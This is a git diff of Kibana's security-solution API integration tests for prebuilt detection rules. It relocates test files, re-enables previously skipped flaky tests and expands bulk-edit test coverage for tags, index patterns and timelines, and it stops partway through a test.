x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/install_bundled_package.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/install_bundled_package.ts index 5f2543b3af613..5dca09fe56929 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/install_bundled_package.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/install_bundled_package.ts @@ -15,6 +15,7 @@ import { ALL_SAVED_OBJECT_INDICES } from '@kbn/core-saved-objects-server'; import { FtrProviderContext } from '../../../../../../../ftr_provider_context'; import { deleteAllPrebuiltRuleAssets, + deletePrebuiltRulesFleetPackage, getPrebuiltRulesStatus, installPrebuiltRulesPackageByVersion, } from '../../../../../utils'; @@ -31,27 +32,21 @@ export default ({ getService }: FtrProviderContext): void => { /* attempt to install it from the local file system. The API response from EPM provides /* us with the information of whether the package was installed from the registry or /* from a package that was bundled with Kibana */ - // - // FLAKY: https://github.com/elastic/kibana/issues/180087 - describe.skip('@ess @serverless @skipInServerlessMKI Install bundled package', () => { + describe('@ess @serverless @skipInServerlessMKI Install bundled package', () => { beforeEach(async () => { await deleteAllRules(supertest, log); await deleteAllPrebuiltRuleAssets(es, log); + await deletePrebuiltRulesFleetPackage({ es, supertest, retryService: retry, log }); }); it('should list `security_detection_engine` as a bundled fleet package in the `fleet_package.json` file', async () => { const configFilePath = path.resolve(REPO_ROOT, 'fleet_packages.json'); const fleetPackages = await fs.readFile(configFilePath, 'utf8'); - const parsedFleetPackages: PackageSpecManifest[] = JSON5.parse(fleetPackages); - const securityDetectionEnginePackage = parsedFleetPackages.find( - (fleetPackage) => fleetPackage.name === 'security_detection_engine' + expect(parsedFleetPackages).toEqual( + expect.arrayContaining([expect.objectContaining({ name: 'security_detection_engine' })]) ); - - expect(securityDetectionEnginePackage).not.toBeUndefined(); - - expect(securityDetectionEnginePackage?.name).toBe('security_detection_engine'); }); it('should install prebuilt rules from the package that comes bundled with Kibana', async () => { @@ -77,9 +72,12 @@ export default ({ getService }: FtrProviderContext): void => { // Verify that status is updated after package installation const statusAfterPackageInstallation = await getPrebuiltRulesStatus(es, supertest); - expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_installed).toBe(0); + expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_to_install).toBeGreaterThan(0); - expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_to_upgrade).toBe(0); + expect(statusAfterPackageInstallation.stats).toMatchObject({ + num_prebuilt_rules_installed: 0, + num_prebuilt_rules_to_upgrade: 0, + }); }); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/install_large_bundled_package.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/install_large_bundled_package.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/install_large_bundled_package.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/install_large_bundled_package.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/prerelease_packages.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/prerelease_packages.ts similarity index 90% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/prerelease_packages.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/prerelease_packages.ts index f7116cc9fae32..67873a8e3e09f 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/prerelease_packages.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/prerelease_packages.ts @@ -52,8 +52,13 @@ export default ({ getService }: FtrProviderContext): void => { retryService ); - expect(fleetPackageInstallationResponse.items.length).toBe(1); - expect(fleetPackageInstallationResponse.items[0].id).toBe('rule_99.0.0'); // Name of the rule in package 99.0.0 + expect(fleetPackageInstallationResponse.items.length).toBe(2); + expect(fleetPackageInstallationResponse.items).toEqual( + expect.arrayContaining([ + expect.objectContaining({ id: 'test-prebuilt-rule-a' }), + expect.objectContaining({ id: 'test-prebuilt-rule-b' }), + ]) + ); // Name of the rule in package 99.0.0 // Get the installed package and check if the version is 99.0.0 const prebuiltRulesFleetPackage = await getPrebuiltRulesFleetPackage(supertest); @@ -63,7 +68,7 @@ export default ({ getService }: FtrProviderContext): void => { // Get status of our prebuilt rules (nothing should be instaled yet) const statusAfterPackageInstallation = await getPrebuiltRulesStatus(es, supertest); expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_installed).toBe(0); - expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_to_install).toBe(1); // 1 rule in package 99.0.0 + expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_to_install).toBe(2); // 1 rule in package 99.0.0 expect(statusAfterPackageInstallation.stats.num_prebuilt_rules_to_upgrade).toBe(0); // Install prebuilt rules @@ -71,7 +76,7 @@ export default ({ getService }: FtrProviderContext): void => { // Verify that status is updated after package installation const statusAfterRulesInstallation = await getPrebuiltRulesStatus(es, supertest); - expect(statusAfterRulesInstallation.stats.num_prebuilt_rules_installed).toBe(1); // 1 rule in package 99.0.0 + expect(statusAfterRulesInstallation.stats.num_prebuilt_rules_installed).toBe(2); // 1 rule in package 99.0.0 expect(statusAfterRulesInstallation.stats.num_prebuilt_rules_to_install).toBe(0); expect(statusAfterRulesInstallation.stats.num_prebuilt_rules_to_upgrade).toBe(0); @@ -79,7 +84,7 @@ export default ({ getService }: FtrProviderContext): void => { const rulesResponse = await getInstalledRules(supertest); // Assert that installed rules are from package 99.0.0 and not from prerelease (beta) package - expect(rulesResponse.data.length).toBe(1); + expect(rulesResponse.data.length).toBe(2); expect(rulesResponse.data[0].name).not.toContain('beta'); expect(rulesResponse.data[0].name).toContain('99.0.0'); }); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/bootstrap_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/bootstrap_prebuilt_rules.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/bootstrap_prebuilt_rules.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/bootstrap_prebuilt_rules.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/index.ts similarity index 89% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/index.ts index 22f521dedfe31..b12ddf38021bc 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/index.ts @@ -10,7 +10,6 @@ import { FtrProviderContext } from '../../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { describe('Prebuilt rules package', function () { loadTestFile(require.resolve('./bootstrap_prebuilt_rules')); - loadTestFile(require.resolve('./install_package_from_epr')); loadTestFile(require.resolve('./update_package')); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/install_package_from_epr.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/install_package_from_epr.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/install_package_from_epr.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/install_package_from_epr.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/update_package.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/update_package.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/update_package.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/update_package.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/get_prebuilt_rule_base_version.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/get_prebuilt_rule_base_version.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/get_prebuilt_rule_base_version.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/get_prebuilt_rule_base_version.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/index.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/index.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/revert_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/revert_prebuilt_rules.ts similarity index 96% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/revert_prebuilt_rules.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/revert_prebuilt_rules.ts index 0b08eddcb03a5..4f5f18f2d6128 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/revert_prebuilt_rules/revert_prebuilt_rules.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/revert_prebuilt_rules/revert_prebuilt_rules.ts @@ -14,7 +14,6 @@ import { deleteAllPrebuiltRuleAssets, installPrebuiltRules, getCustomQueryRuleParams, - getWebHookAction, } from '../../../../utils'; import { revertPrebuiltRule } from '../../../../utils/rules/prebuilt_rules/revert_prebuilt_rule'; @@ -132,21 +131,16 @@ export default ({ getService }: FtrProviderContext): void => { }); it('does not modify `actions` field', async () => { - const { body: hookAction } = await supertest - .post('/api/actions/connector') - .set('kbn-xsrf', 'true') - .send(getWebHookAction()) - .expect(200); - const { body: customizedPrebuiltRule } = await securitySolutionApi.patchRule({ body: { rule_id: 'rule_1', description: 'new description', actions: [ + // use a pre-configured connector { group: 'default', - id: hookAction.id, - action_type_id: hookAction.connector_type_id, + id: 'my-test-email', + action_type_id: '.email', params: {}, }, ], @@ -167,10 +161,10 @@ export default ({ getService }: FtrProviderContext): void => { }, actions: [ expect.objectContaining({ - action_type_id: hookAction.connector_type_id, + id: 'my-test-email', + action_type_id: '.email', frequency: { notifyWhen: 'onActiveAlert', summary: true, throttle: null }, group: 'default', - id: hookAction.id, params: {}, }), ], diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/status/get_prebuilt_rules_status.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/status/get_prebuilt_rules_status.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/status/get_prebuilt_rules_status.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/status/get_prebuilt_rules_status.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/status/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/status/index.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/status/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/status/index.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/status/legacy/get_prebuilt_timelines_status.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/status/legacy/get_prebuilt_timelines_status.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/status/legacy/get_prebuilt_timelines_status.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/status/legacy/get_prebuilt_timelines_status.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/export/export_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/export/export_prebuilt_rules.ts deleted file mode 100644 index c3a39540a7cfd..0000000000000 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/export/export_prebuilt_rules.ts +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import expect from 'expect'; -import { BulkActionTypeEnum } from '@kbn/security-solution-plugin/common/api/detection_engine'; -import { FtrProviderContext } from '../../../../../../ftr_provider_context'; -import { - binaryToString, - createPrebuiltRuleAssetSavedObjects, - createRuleAssetSavedObject, - deleteAllPrebuiltRuleAssets, - installPrebuiltRules, - parseNdJson, -} from '../../../../utils'; -import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; - -export default ({ getService }: FtrProviderContext): void => { - const es = getService('es'); - const securitySolutionApi = getService('securitySolutionApi'); - const supertest = getService('supertest'); - const log = getService('log'); - - describe('@ess @serverless @skipInServerlessMKI Prebuilt rules export', () => { - beforeEach(async () => { - await deleteAllRules(supertest, log); - await deleteAllPrebuiltRuleAssets(es, log); - }); - - it('Export API - exports prebuilt rules', async () => { - const ruleId = 'prebuilt-rule-1'; - const ruleAsset = createRuleAssetSavedObject({ rule_id: ruleId, version: 1 }); - await createPrebuiltRuleAssetSavedObjects(es, [ruleAsset]); - await installPrebuiltRules(es, supertest); - - const { body } = await securitySolutionApi - .exportRules({ query: {}, body: null }) - .expect(200) - .parse(binaryToString); - - const exportDetails = parseNdJson(body); - - expect(exportDetails).toEqual([ - expect.objectContaining({ - rule_id: ruleId, - }), - expect.objectContaining({ exported_rules_count: 1, missing_rules_count: 0 }), - ]); - }); - - it("Bulk actions export API - doesn't export prebuilt rules", async () => { - const ruleAsset = createRuleAssetSavedObject({ rule_id: 'prebuilt-rule-1', version: 1 }); - await createPrebuiltRuleAssetSavedObjects(es, [ruleAsset]); - await installPrebuiltRules(es, supertest); - - const findResponse = await securitySolutionApi.findRules({ query: {} }); - const installedRule = findResponse.body.data[0]; - - const { body } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { action: BulkActionTypeEnum.export, ids: [installedRule.id] }, - }) - .expect(200) - .parse(binaryToString); - - const exportDetails = parseNdJson(body); - - expect(exportDetails).toEqual([ - expect.objectContaining({ - rule_id: 'prebuilt-rule-1', - }), - expect.objectContaining({ exported_rules_count: 1, missing_rules_count: 0 }), - ]); - }); - }); -}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/index.ts index 0a4adda36fa7e..5e0e807d2edd4 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/index.ts @@ -11,7 +11,6 @@ export default ({ loadTestFile }: FtrProviderContext): void => { describe('Rules Management - Prebuilt Rules - Prebuilt Rule (Customization Disabled)', function () { this.tags('skipFIPS'); loadTestFile(require.resolve('./customization')); - loadTestFile(require.resolve('./export')); loadTestFile(require.resolve('./upgrade_prebuilt_rules')); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/customization/customize_via_bulk_editing.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/customization/customize_via_bulk_editing.ts index 8f3fc52a077e7..97f4ad9436f69 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/customization/customize_via_bulk_editing.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/customization/customize_via_bulk_editing.ts @@ -10,9 +10,16 @@ import { BulkActionTypeEnum, BulkActionEditTypeEnum, BulkActionEditPayload, + BulkEditActionResponse, } from '@kbn/security-solution-plugin/common/api/detection_engine/rule_management'; +import { RuleResponse } from '@kbn/security-solution-plugin/common/api/detection_engine'; import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; -import { deleteAllPrebuiltRuleAssets, installMockPrebuiltRules } from '../../../../utils'; +import { + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObject, + deleteAllPrebuiltRuleAssets, + installPrebuiltRules, +} from '../../../../utils'; import { FtrProviderContext } from '../../../../../../ftr_provider_context'; export default ({ getService }: FtrProviderContext): void => { @@ -21,87 +28,350 @@ export default ({ getService }: FtrProviderContext): void => { const securitySolutionApi = getService('securitySolutionApi'); const log = getService('log'); - // FLAKY: https://github.com/elastic/kibana/issues/222257 - describe.skip('@ess @serverless @skipInServerless Customize via bulk editing', () => { - before(async () => { + describe('@ess @serverless @skipInServerless Customize via bulk editing', () => { + beforeEach(async () => { await deleteAllRules(supertest, log); await deleteAllPrebuiltRuleAssets(es, log); }); - const bulkEditingCases = [ - { + const QUERY_PREBUILT_RULE_ID = 'test-query-prebuilt-rule'; + const QUERY_PREBUILT_RULE_ASSET = createRuleAssetSavedObject({ + rule_id: QUERY_PREBUILT_RULE_ID, + type: 'query', + query: '*:*', + language: 'kuery', + name: 'Query prebuilt rule', + index: ['existing-index-pattern-1', 'existing-index-pattern-2'], + tags: ['existing-tag-1', 'existing-tag-2'], + timeline_id: 'some-timeline-id', + timeline_title: 'some-timeline-title', + interval: '5m', + from: 'now-10m', + to: 'now', + version: 2, + }); + const SAVED_QUERY_PREBUILT_RULE_ID = 'test-saved-query-prebuilt-rule'; + const SAVED_QUERY_PREBUILT_RULE_ASSET = createRuleAssetSavedObject({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + type: 'saved_query', + saved_id: 'test-saved-query', + name: 'Saved query prebuilt rule', + index: ['existing-index-pattern-1', 'existing-index-pattern-2'], + tags: ['existing-tag-1', 'existing-tag-2'], + timeline_id: 'some-timeline-id', + timeline_title: 'some-timeline-title', + interval: '5m', + from: 'now-10m', + to: 'now', + version: 3, + }); + const EQL_PREBUILT_RULE_ID = 'test-eql-prebuilt-rule'; + const EQL_PREBUILT_RULE_ASSET = createRuleAssetSavedObject({ + rule_id: EQL_PREBUILT_RULE_ID, + type: 'eql', + name: 'EQL prebuilt rule', + query: 'any where true', + language: 'eql', + index: ['existing-index-pattern-1', 'existing-index-pattern-2'], + tags: ['existing-tag-1', 'existing-tag-2'], + timeline_id: 'some-timeline-id', + timeline_title: 'some-timeline-title', + interval: '5m', + from: 'now-10m', + to: 'now', + version: 4, + }); + const PREBUILT_RULE_ASSETS = [ + QUERY_PREBUILT_RULE_ASSET, + SAVED_QUERY_PREBUILT_RULE_ASSET, + EQL_PREBUILT_RULE_ASSET, + ]; + + const performBulkEditOnPrebuiltRules = async ( + bulkEditPayload: BulkActionEditPayload + ): Promise => { + const { + body: { data: prebuiltRules }, + } = await securitySolutionApi.findRules({ + query: { + filter: 'alert.attributes.params.immutable: true', + per_page: PREBUILT_RULE_ASSETS.length, + }, + }); + + const { body: bulkEditResponse } = await securitySolutionApi + .performRulesBulkAction({ + query: {}, + body: { + ids: prebuiltRules.map((rule: RuleResponse) => rule.id), + action: BulkActionTypeEnum.edit, + [BulkActionTypeEnum.edit]: [bulkEditPayload], + }, + }) + .expect(200); + + expect(bulkEditResponse).toMatchObject({ + success: true, + rules_count: PREBUILT_RULE_ASSETS.length, + }); + expect(bulkEditResponse.attributes.summary).toMatchObject({ + succeeded: PREBUILT_RULE_ASSETS.length, + total: PREBUILT_RULE_ASSETS.length, + }); + + return bulkEditResponse; + }; + + it(`applies "${BulkActionEditTypeEnum.add_tags}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.add_tags, value: ['new-tag'], - }, - { + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + tags: ['existing-tag-1', 'existing-tag-2', 'new-tag'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + tags: ['existing-tag-1', 'existing-tag-2', 'new-tag'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + tags: ['existing-tag-1', 'existing-tag-2', 'new-tag'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.set_tags}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.set_tags, value: ['new-tag'], - }, - { + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + tags: ['new-tag'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + tags: ['new-tag'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + tags: ['new-tag'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.delete_tags}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.delete_tags, - value: ['test-tag'], - }, - { + value: ['existing-tag-1'], + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + tags: ['existing-tag-2'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + tags: ['existing-tag-2'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + tags: ['existing-tag-2'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.delete_index_patterns}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.delete_index_patterns, - // Testing index pattern removal requires as minimum of two index patterns - // to have a valid rule after the edit. - value: ['index-1'], - }, - { + value: ['existing-index-pattern-1'], + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + index: ['existing-index-pattern-2'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + index: ['existing-index-pattern-2'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + index: ['existing-index-pattern-2'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.add_index_patterns}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ + type: BulkActionEditTypeEnum.add_index_patterns, + value: ['test-*'], + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + index: ['existing-index-pattern-1', 'existing-index-pattern-2', 'test-*'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + index: ['existing-index-pattern-1', 'existing-index-pattern-2', 'test-*'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + index: ['existing-index-pattern-1', 'existing-index-pattern-2', 'test-*'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.add_index_patterns}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.add_index_patterns, value: ['test-*'], - }, - { + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + index: ['existing-index-pattern-1', 'existing-index-pattern-2', 'test-*'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + index: ['existing-index-pattern-1', 'existing-index-pattern-2', 'test-*'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + index: ['existing-index-pattern-1', 'existing-index-pattern-2', 'test-*'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.set_index_patterns}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.set_index_patterns, value: ['test-*'], - }, - { + }); + + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + index: ['test-*'], + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + index: ['test-*'], + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + index: ['test-*'], + }), + ]) + ); + }); + + it(`applies "${BulkActionEditTypeEnum.set_timeline}" bulk edit action to prebuilt rules`, async () => { + await createPrebuiltRuleAssetSavedObjects(es, PREBUILT_RULE_ASSETS); + await installPrebuiltRules(es, supertest); + + const bulkResponse = await performBulkEditOnPrebuiltRules({ type: BulkActionEditTypeEnum.set_timeline, value: { timeline_id: 'mock-id', timeline_title: 'mock-title' }, - }, - { - type: BulkActionEditTypeEnum.set_schedule, - value: { interval: '1m', lookback: '1m' }, - }, - ]; + }); - bulkEditingCases.forEach(({ type, value }) => { - it(`applies "${type}" bulk edit action to prebuilt rules`, async () => { - await installMockPrebuiltRules(supertest, es); + expect(bulkResponse.attributes.results.updated).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: QUERY_PREBUILT_RULE_ID, + timeline_id: 'mock-id', + timeline_title: 'mock-title', + }), + expect.objectContaining({ + rule_id: SAVED_QUERY_PREBUILT_RULE_ID, + timeline_id: 'mock-id', + timeline_title: 'mock-title', + }), + expect.objectContaining({ + rule_id: EQL_PREBUILT_RULE_ID, + timeline_id: 'mock-id', + timeline_title: 'mock-title', + }), + ]) + ); + }); - const { - body: { - data: [prebuiltRule], - }, - } = await securitySolutionApi.findRules({ - query: { - filter: 'alert.attributes.params.immutable: true', - per_page: 1, - }, - }); - - const { body } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { - ids: [prebuiltRule.id], - action: BulkActionTypeEnum.edit, - [BulkActionTypeEnum.edit]: [ - { - type, - value, - } as BulkActionEditPayload, - ], - }, - }) - .expect(200); - - expect(body).toMatchObject({ - success: true, - rules_count: 1, - }); - 